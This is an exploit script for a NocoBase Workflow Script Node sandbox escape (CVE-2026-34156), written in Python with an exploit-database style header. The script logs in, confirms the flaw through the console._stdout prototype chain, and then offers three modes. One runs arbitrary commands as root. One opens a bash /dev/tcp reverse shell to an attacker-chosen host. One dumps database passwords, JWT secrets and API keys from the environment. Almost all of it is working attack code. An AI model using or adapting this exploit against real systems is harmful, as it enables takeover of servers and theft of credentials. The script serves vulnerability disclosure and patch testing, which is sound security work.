📄 NocoBase 2.0.27 VM Sandbox Escape

# Exploit Title: NocoBase  2.0.27 - VM Sandbox Escape 
    # Date: 2026-03-26
    # Exploit Author: Onurcan Genç
    # Vendor Homepage: https://www.nocobase.com/
    # Software Link: https://github.com/nocobase/nocobase
    # Version: <= 2.0.27 — patched in 2.0.28
    # Tested on: Debian GNU/Linux 12 (bookworm) / Docker / Node.js v20.20.1
    # CVE: CVE-2026-34156
    # Advisory: https://github.com/nocobase/nocobase/security/advisories/GHSA-px3p-vgh9-m57c
    # CWE: CWE-913
    # CVSS: 9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
    #
    # Description:
    #   NocoBase's Workflow Script Node executes user-supplied JavaScript inside
    #   a Node.js vm sandbox with a custom require allowlist. However, the console
    #   object passed into the sandbox exposes host-realm WritableWorkerStdio
    #   stream objects (console._stdout / console._stderr). By traversing the
    #   prototype chain (.constructor.constructor), an attacker obtains the host
    #   realm's Function constructor, accesses the process object, and uses
    #   process.mainModule.require to load child_process — bypassing the sandbox
    #   and achieving Remote Code Execution as root.
    #
    # Exploitation chain:
    #   console._stdout.constructor.constructor   → host-realm Function
    #   Function('return process')()              → Node.js process object
    #   process.mainModule.require('child_process') → unrestricted module
    #   child_process.execSync('id')              → RCE as root
    #
    # Usage:
    #   python3 exploit.py -t <TARGET> -u <USER> -P <PASS> --cmd "id"
    #   python3 exploit.py -t <TARGET> -u <USER> -P <PASS> --dump
    #   python3 exploit.py -t <TARGET> -u <USER> -P <PASS> -l <LHOST> -p <LPORT>
    #
    # Notes:
    #   - Requires valid credentials (any user with workflow access)
    #   - Vulnerability check runs automatically before exploitation
    #   - Default reverse shell uses bash /dev/tcp (Debian-based containers)
    #   - Start listener before running: nc -lvnp 4444
    
    import argparse
    import json
    import requests
    import sys
    import urllib3
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    # ─── Colors ───────────────────────────────────────────────────────────────────
    
    class C:
        RED     = "\033[91m"
        GREEN   = "\033[92m"
        YELLOW  = "\033[93m"
        BLUE    = "\033[94m"
        MAGENTA = "\033[95m"
        CYAN    = "\033[96m"
        WHITE   = "\033[97m"
        BOLD    = "\033[1m"
        DIM     = "\033[2m"
        RESET   = "\033[0m"
    
    def info(msg):    print(f"  {C.BLUE}[*]{C.RESET} {msg}")
    def good(msg):    print(f"  {C.GREEN}[+]{C.RESET} {msg}")
    def warn(msg):    print(f"  {C.YELLOW}[!]{C.RESET} {msg}")
    def fail(msg):    print(f"  {C.RED}[-]{C.RESET} {msg}")
    def result(msg):  print(f"  {C.CYAN}[→]{C.RESET} {msg}")
    
    BANNER = f"""
    {C.RED}{C.BOLD}╔══════════════════════════════════════════════════════════════════╗
    ║  NocoBase Workflow Script Node — VM Sandbox Escape to RCE      ║
    ║  CVE: [CVE-2026-34156]  |  CVSS: 9.9 Critical                        ║
    ║  Author: Onurcan Genç                                          ║
    ╚══════════════════════════════════════════════════════════════════╝{C.RESET}
    """
    
    ESCAPE_CHAIN = (
        "const Fn=console._stdout.constructor.constructor;"
        "const proc=Fn('return process')();"
        "const cp=proc.mainModule.require('child_process');"
    )
    
    
    # ─── Core Functions ───────────────────────────────────────────────────────────
    
    def authenticate(target: str, username: str, password: str, verify_ssl: bool = False) -> str:
        url = f"{target.rstrip('/')}/api/auth:signIn"
        body = {"account": username, "password": password}
    
        print()
        info(f"Authenticating as {C.BOLD}{username}{C.RESET}...")
    
        try:
            resp = requests.post(url, headers={"Content-Type": "application/json"},
                                 json=body, timeout=10, verify=verify_ssl)
            data = resp.json()
        except requests.exceptions.ConnectionError:
            fail(f"Connection failed: cannot reach {C.YELLOW}{url}{C.RESET}")
            sys.exit(1)
        except json.JSONDecodeError:
            fail(f"Invalid response from server")
            sys.exit(1)
    
        if "errors" in data:
            msg = data["errors"][0].get("message", "Unknown error")
            fail(f"Authentication failed: {C.RED}{msg}{C.RESET}")
            sys.exit(1)
    
        token = data.get("data", {}).get("token")
        if not token:
            fail("No token in response")
            sys.exit(1)
    
        nickname = data.get("data", {}).get("user", {}).get("nickname", "unknown")
        user_id = data.get("data", {}).get("user", {}).get("id", "?")
        good(f"Authenticated! User: {C.GREEN}{C.BOLD}{nickname}{C.RESET} (ID: {user_id})")
        good(f"Token: {C.DIM}{token[:25]}...{token[-10:]}{C.RESET}")
        return token
    
    
    def send_payload(target: str, token: str, payload: str, verify_ssl: bool = False) -> dict:
        url = f"{target.rstrip('/')}/api/flow_nodes:test"
        headers = {
            "Authorization": f"Bearer {token}",
            "Content-Type": "application/json"
        }
        body = {
            "type": "script",
            "config": {"content": payload, "timeout": 5000, "arguments": []}
        }
    
        try:
            resp = requests.post(url, headers=headers, json=body, timeout=10, verify=verify_ssl)
            return resp.json()
        except requests.exceptions.Timeout:
            return {"data": {"status": 1, "result": "timeout (expected for reverse shell)"}}
        except requests.exceptions.ConnectionError as e:
            return {"error": f"Connection failed: {e}"}
        except json.JSONDecodeError:
            return {"error": "Invalid JSON response", "raw": resp.text[:500]}
    
    
    def verify_vulnerability(target: str, token: str) -> bool:
        print()
        print(f"  {C.MAGENTA}{'─' * 55}{C.RESET}")
        info(f"{C.BOLD}Phase 1: Vulnerability Check{C.RESET}")
        print(f"  {C.MAGENTA}{'─' * 55}{C.RESET}")
    
        check_payload = (
            "try {"
            "  const name = console._stdout.constructor.name;"
            "  const fnType = typeof console._stdout.constructor.constructor;"
            "  return JSON.stringify({stream: name, fnConstructor: fnType});"
            "} catch(e) { return 'ERR: ' + e.message; }"
        )
        result_data = send_payload(target, token, check_payload)
    
        if "error" in result_data:
            fail(f"Connection error: {result_data['error']}")
            return False
    
        data = result_data.get("data", {})
    
        if data.get("status") != 1:
            if "INVALID_TOKEN" in str(data) or "EMPTY_TOKEN" in str(data):
                fail("Authentication token is invalid or expired")
            else:
                fail(f"Unexpected response: {data}")
            return False
    
        try:
            check = json.loads(data.get("result", "{}"))
            stream = check.get("stream", "")
            fn_type = check.get("fnConstructor", "")
    
            if stream == "WritableWorkerStdio" and fn_type == "function":
                good(f"Host-realm stream object: {C.GREEN}{C.BOLD}{stream}{C.RESET}")
                good(f"Function constructor:     {C.GREEN}{C.BOLD}accessible{C.RESET}")
                print()
                good(f"{C.GREEN}{C.BOLD}TARGET IS VULNERABLE!{C.RESET}")
                return True
            else:
                fail(f"Unexpected sandbox state: stream={stream}, fn={fn_type}")
                return False
        except (json.JSONDecodeError, TypeError):
            res = data.get("result", "")
            fail(f"Check failed: {res}")
            return False
    
    
    # ─── Exploit Modes ────────────────────────────────────────────────────────────
    
    def exploit_cmd(target: str, token: str, cmd: str):
        print()
        print(f"  {C.MAGENTA}{'─' * 55}{C.RESET}")
        info(f"{C.BOLD}Phase 2: Command Execution{C.RESET}")
        print(f"  {C.MAGENTA}{'─' * 55}{C.RESET}")
    
        info(f"Executing: {C.YELLOW}{cmd}{C.RESET}")
    
        safe_cmd = cmd.replace("\\", "\\\\").replace("'", "\\'").replace('"', '\\"')
        payload = f'{ESCAPE_CHAIN}return cp.execSync("{safe_cmd}").toString().trim();'
        resp = send_payload(target, token, payload)
    
        data = resp.get("data", {})
        if data.get("status") == 1:
            output = data.get("result", "")
            print()
            good(f"Output:")
            print(f"  {C.CYAN}{'─' * 55}{C.RESET}")
            for line in output.split("\n"):
                print(f"  {C.WHITE}{line}{C.RESET}")
            print(f"  {C.CYAN}{'─' * 55}{C.RESET}")
        else:
            fail(f"Execution failed: {data}")
    
    
    def exploit_revshell(target: str, token: str, lhost: str, lport: int):
        print()
        print(f"  {C.MAGENTA}{'─' * 55}{C.RESET}")
        info(f"{C.BOLD}Phase 2: Reverse Shell{C.RESET}")
        print(f"  {C.MAGENTA}{'─' * 55}{C.RESET}")
    
        info(f"Target:   {C.YELLOW}{target}{C.RESET}")
        info(f"Callback: {C.GREEN}{C.BOLD}{lhost}:{lport}{C.RESET}")
        warn(f"Ensure listener is running: {C.BOLD}nc -lvnp {lport}{C.RESET}")
        print()
    
        shell_cmd = f'bash -c "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"'
        payload = f"{ESCAPE_CHAIN}cp.exec('{shell_cmd}');return 'shell spawned';"
        resp = send_payload(target, token, payload)
    
        data = resp.get("data", {})
        res = data.get("result", "")
    
        if "shell spawned" in str(res) or "timeout" in str(res):
            good(f"{C.GREEN}{C.BOLD}Payload delivered! Check your listener.{C.RESET}")
        else:
            fail(f"Unexpected response: {data}")
    
    
    def exploit_dump(target: str, token: str):
        print()
        print(f"  {C.MAGENTA}{'─' * 55}{C.RESET}")
        info(f"{C.BOLD}Phase 2: System & Credential Dump{C.RESET}")
        print(f"  {C.MAGENTA}{'─' * 55}{C.RESET}")
    
        # System info via shell commands
        commands = [
            ("User",        "id"),
            ("Hostname",    "hostname"),
            ("OS",          "cat /etc/os-release | grep PRETTY_NAME | cut -d= -f2"),
            ("Kernel",      "uname -r"),
            ("Node.js",     "node --version"),
            ("Working Dir", "pwd"),
        ]
    
        print()
        info(f"{C.BOLD}System Information{C.RESET}")
        print(f"  {C.CYAN}{'─' * 55}{C.RESET}")
    
        for label, cmd in commands:
            safe_cmd = cmd.replace('"', '\\"')
            payload = f'{ESCAPE_CHAIN}return cp.execSync("{safe_cmd}").toString().trim();'
            resp = send_payload(target, token, payload)
            data = resp.get("data", {})
            if data.get("status") == 1:
                out = data.get("result", "N/A").replace('"', '')
                print(f"  {C.WHITE}{label:.<22}{C.RESET} {C.GREEN}{out}{C.RESET}")
    
        print(f"  {C.CYAN}{'─' * 55}{C.RESET}")
    
        # Credentials via JavaScript
        print()
        info(f"{C.BOLD}Environment Credentials{C.RESET}")
        print(f"  {C.CYAN}{'─' * 55}{C.RESET}")
    
        secrets_payload = (
            f"{ESCAPE_CHAIN}"
            "const env = proc.env;"
            "const keys = ['DB_HOST','DB_PORT','DB_DATABASE','DB_USER','DB_PASSWORD',"
            "'DB_DIALECT','INIT_ROOT_USERNAME','INIT_ROOT_PASSWORD','INIT_ROOT_NICKNAME',"
            "'INIT_ROOT_EMAIL','APP_KEY','API_KEY','JWT_SECRET','SECRET_KEY'];"
            "const out = {}; keys.forEach(k => { if(env[k]) out[k] = env[k]; });"
            "return JSON.stringify(out);"
        )
        resp = send_payload(target, token, secrets_payload)
        data = resp.get("data", {})
    
        if data.get("status") == 1:
            try:
                creds = json.loads(data.get("result", "{}"))
                for k, v in creds.items():
                    color = C.RED if "PASS" in k or "SECRET" in k or "KEY" in k else C.YELLOW
                    print(f"  {C.WHITE}{k:.<30}{C.RESET} {color}{C.BOLD}{v}{C.RESET}")
            except json.JSONDecodeError:
                result(f"Raw: {data.get('result')}")
    
        print(f"  {C.CYAN}{'─' * 55}{C.RESET}")
    
        # All env vars with sensitive patterns
        print()
        info(f"{C.BOLD}Additional Secrets (pattern match){C.RESET}")
        print(f"  {C.CYAN}{'─' * 55}{C.RESET}")
    
        extra_payload = (
            f"{ESCAPE_CHAIN}"
            "const env = proc.env;"
            "const out = {};"
            "for (const k of Object.keys(env)) {"
            "  if (/secret|key|token|pass|auth|jwt|api_key|private/i.test(k) && "
            "      !k.startsWith('npm_')) out[k] = env[k];"
            "}"
            "return JSON.stringify(out);"
        )
        resp = send_payload(target, token, extra_payload)
        data = resp.get("data", {})
    
        if data.get("status") == 1:
            try:
                extras = json.loads(data.get("result", "{}"))
                if extras:
                    for k, v in extras.items():
                        print(f"  {C.WHITE}{k:.<30}{C.RESET} {C.RED}{C.BOLD}{v}{C.RESET}")
                else:
                    info("No additional secrets found")
            except json.JSONDecodeError:
                pass
    
        print(f"  {C.CYAN}{'─' * 55}{C.RESET}")
    
    
    # ─── Main ─────────────────────────────────────────────────────────────────────
    
    def main():
        print(BANNER)
    
        parser = argparse.ArgumentParser(
            description="NocoBase Workflow Script Node — VM Sandbox Escape to RCE",
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog=f"""
    {C.BOLD}Examples:{C.RESET}
      {C.CYAN}Command:{C.RESET}       %(prog)s -t http://target:13000 -u nocobase -P admin123 --cmd "id"
      {C.CYAN}Dump:{C.RESET}          %(prog)s -t http://target:13000 -u nocobase -P admin123 --dump
      {C.CYAN}Reverse Shell:{C.RESET} %(prog)s -t http://target:13000 -u nocobase -P admin123 -l 10.10.14.5 -p 4444
            """
        )
        parser.add_argument("-t", "--target", required=True,
                            help="Target NocoBase URL (e.g., http://target:13000)")
        parser.add_argument("-u", "--username", required=True,
                            help="NocoBase username")
        parser.add_argument("-P", "--password", required=True,
                            help="NocoBase password")
        parser.add_argument("-l", "--lhost", default=None,
                            help="Listener IP for reverse shell")
        parser.add_argument("-p", "--lport", type=int, default=4444,
                            help="Listener port (default: 4444)")
        parser.add_argument("--cmd", default=None,
                            help="Execute a single command")
        parser.add_argument("--dump", action="store_true",
                            help="Dump system info and credentials")
        parser.add_argument("--no-verify", action="store_true",
                            help="Skip vulnerability verification")
    
        args = parser.parse_args()
    
        if not args.cmd and not args.lhost and not args.dump:
            fail(f"Specify {C.BOLD}--cmd{C.RESET} (command), {C.BOLD}--dump{C.RESET} (info), or {C.BOLD}-l LHOST{C.RESET} (revshell)")
            sys.exit(1)
    
        # Phase 0: Authenticate
        token = authenticate(args.target, args.username, args.password)
    
        # Phase 1: Vulnerability check (always runs unless --no-verify)
        if not args.no_verify:
            if not verify_vulnerability(args.target, token):
                fail(f"{C.RED}{C.BOLD}TARGET IS NOT VULNERABLE.{C.RESET} Exiting.")
                sys.exit(1)
    
        # Phase 2: Exploit
        if args.dump:
            exploit_dump(args.target, token)
        elif args.cmd:
            exploit_cmd(args.target, token, args.cmd)
        else:
            exploit_revshell(args.target, token, args.lhost, args.lport)
    
        print()
        print(f"  {C.GREEN}{C.BOLD}Done.{C.RESET}")
        print()
    
    
    if __name__ == "__main__":
        main()